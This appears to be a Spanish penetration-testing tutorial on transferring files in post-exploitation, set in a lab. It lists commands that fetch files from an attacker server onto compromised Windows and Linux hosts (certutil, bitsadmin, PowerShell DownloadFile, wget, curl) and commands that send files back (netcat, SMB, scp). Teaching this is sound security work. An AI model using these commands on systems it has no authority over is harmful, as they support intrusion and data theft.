Hacking: Transferencia de Ficheros

Hacking: Transferencia de Ficheros

Guía para la Transferencia de Archivos en Escenarios de Post-Explotación

Índice

Configuración del Laboratorio

Vamos a realizar la transferencia de archivos asumiendo que ya hemos comprometido la máquina objetivo y tenemos acceso inicial a la shell.

  • Máquina Atacante: Kali Linux (192.168.10.5)
  • Máquina Objetivo 1: Windows 10 (192.168.10.30)
  • Máquina Objetivo 2: Ubuntu

En la máquina del atacante, configuraremos un servidor updog, que es un reemplazo ligero del servidor SimpleHTTPServer de Python.

Para instalar el servidor, ejecutamos el siguiente comando:

pip3 install updog

Después de la instalación, podemos ejecutar el servidor en el puerto 80 con el siguiente comando:

updog -p 80

Transferencia de Archivos con wget

Podemos usar el comando wget para transferir archivos. En Windows, debemos usar el flag -o para guardar el archivo. El comando es:

powershell wget http://192.168.10.5/cyber4hack.txt -o cyber4hack.txt
dir
type cyber4hack.txt

Transferencia de Archivos con curl

curl es una herramienta poderosa de línea de comandos para transferir archivos usando diversos protocolos de red. El comando es:

curl http://192.168.10.5/cyber4hack.txt -o cyber4hack.txt

Transferencia de Archivos con certutil

certutil es una utilidad de línea de comandos en Windows para gestionar certificados y elementos criptográficos. El comando es:

certutil -urlcache -f http://192.168.10.5/cyber4hack.txt cyber4hack.txt

Para dividir archivos grandes, usamos:

certutil -urlcache -split -f http://192.168.10.5/cyber4hack.txt cyber4hack.txt

Transferencia de Archivos con bitsadmin

bitsadmin es una utilidad de línea de comandos para manejar tareas de Background Intelligent Transfer Service (BITS) en Windows. El comando es:

bitsadmin /transfer job http://192.168.10.5/cyber4hack.txt C:\Users\Public\cyber4hack.txt

Transferencia de Archivos con PowerShell

Para transferir archivos usando PowerShell, ejecutamos:

powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.10.5/cyber4hack.txt', 'cyber4hack.txt')

Transferencia de Archivos con Servidor SMB

SMB es un protocolo para comunicación que proporciona acceso compartido a archivos y puertos en una red. Para habilitarlo, usamos impacket-smbserver en Kali Linux:

impacket-smbserver share $(pwd) -smb2support

En Windows, ejecutamos:

copy \\192.168.10.5\share\cyber4hack.txt

Para copiar un archivo desde Windows a Kali, usamos:

copy cyber4hack.txt \\192.168.10.5\share\cyber4hack.txt

Desde otra máquina Linux, conectamos con smbclient y usamos los comandos put y get:

smbclient -L 192.168.10.5
smbclient “\\\\192.168.10.5\share”
ls
get cyber4hack.txt
put data.txt

Transferencia de Archivos con SCP

SCP es un método para transferir archivos de manera segura entre un sistema local y un servidor remoto o entre dos servidores remotos usando el protocolo SSH.

Para copiar un archivo desde Windows a Kali:

scp cyber4hack.txt kali@192.168.10.5:/tmp

Para transferir un archivo desde Kali a Windows:

scp cyber4hack.txt raj@192.168.10.30:/C:/Temp

Transferencia de Archivos con TFTP

TFTP es un protocolo básico y minimalista para la transferencia de archivos a través de una red, operando sobre UDP. Usamos el siguiente comando en Metasploit para configurar el servidor TFTP:

use auxiliary/server/tftp
set srvhost 192.168.10.5
set tftproot /root/raj
run

Para descargar el archivo en Windows:

tftp -i 192.168.10.30 GET cyber4hack.txt
dir

Transferencia de Archivos con FTP

FTP es un protocolo ampliamente utilizado para transferir archivos en una red. Usamos Metasploit para habilitar el servicio FTP:

use auxiliary/server/ftp
set srvhost 192.168.10.5
set ftproot /root/raj
set ftpuser raj
set ftppass 123
run

Para descargar el archivo después de autenticarnos en el servidor FTP:

ftp 192.168.10.5
dir
get cyber4hack.txt
bye
dir

También podemos usar pyftpdlib para configurar un servidor FTP en Kali:

pip3 install pyftpdlib

Para iniciar el servidor con autenticación:

python3 -m pyftpdlib -w -p 21 -u cyber4hack -P 123

Para una configuración de inicio de sesión anónimo:

python -m pyftpdlib -w -p 21

Métodos para Configurar el Servidor para la Transferencia de Archivos

Además de updog, podemos configurar un servidor con PHP o Python:

Con PHP:

php -S 0.0.0.0:8081

Con Python 2:

python2 -m SimpleHTTPServer 80

Con Python 3:

python3 -m http.server 8000

Transferencia de Archivos con Netcat

Netcat es una herramienta de red multifuncional para leer y escribir en conexiones de red sobre TCP o UDP. En Kali, ejecutamos:

nc -lvp 5555 > file.txt

En Ubuntu, para enviar el archivo:

nc 192.168.10.5 5555 < file.txt

En Windows, con nc.exe:

nc.exe 192.168.10.5 5555 < data.txt

Para recibir el archivo en Kali:

nc -lvp 5555 > data.txt
cat data.txt

Conclusión

Hemos visto diversas técnicas para transferir archivos entre máquinas comprometidas. La elección de la herramienta adecuada dependerá del contexto y las circunstancias específicas.

No hay etiquetas para esta entrada.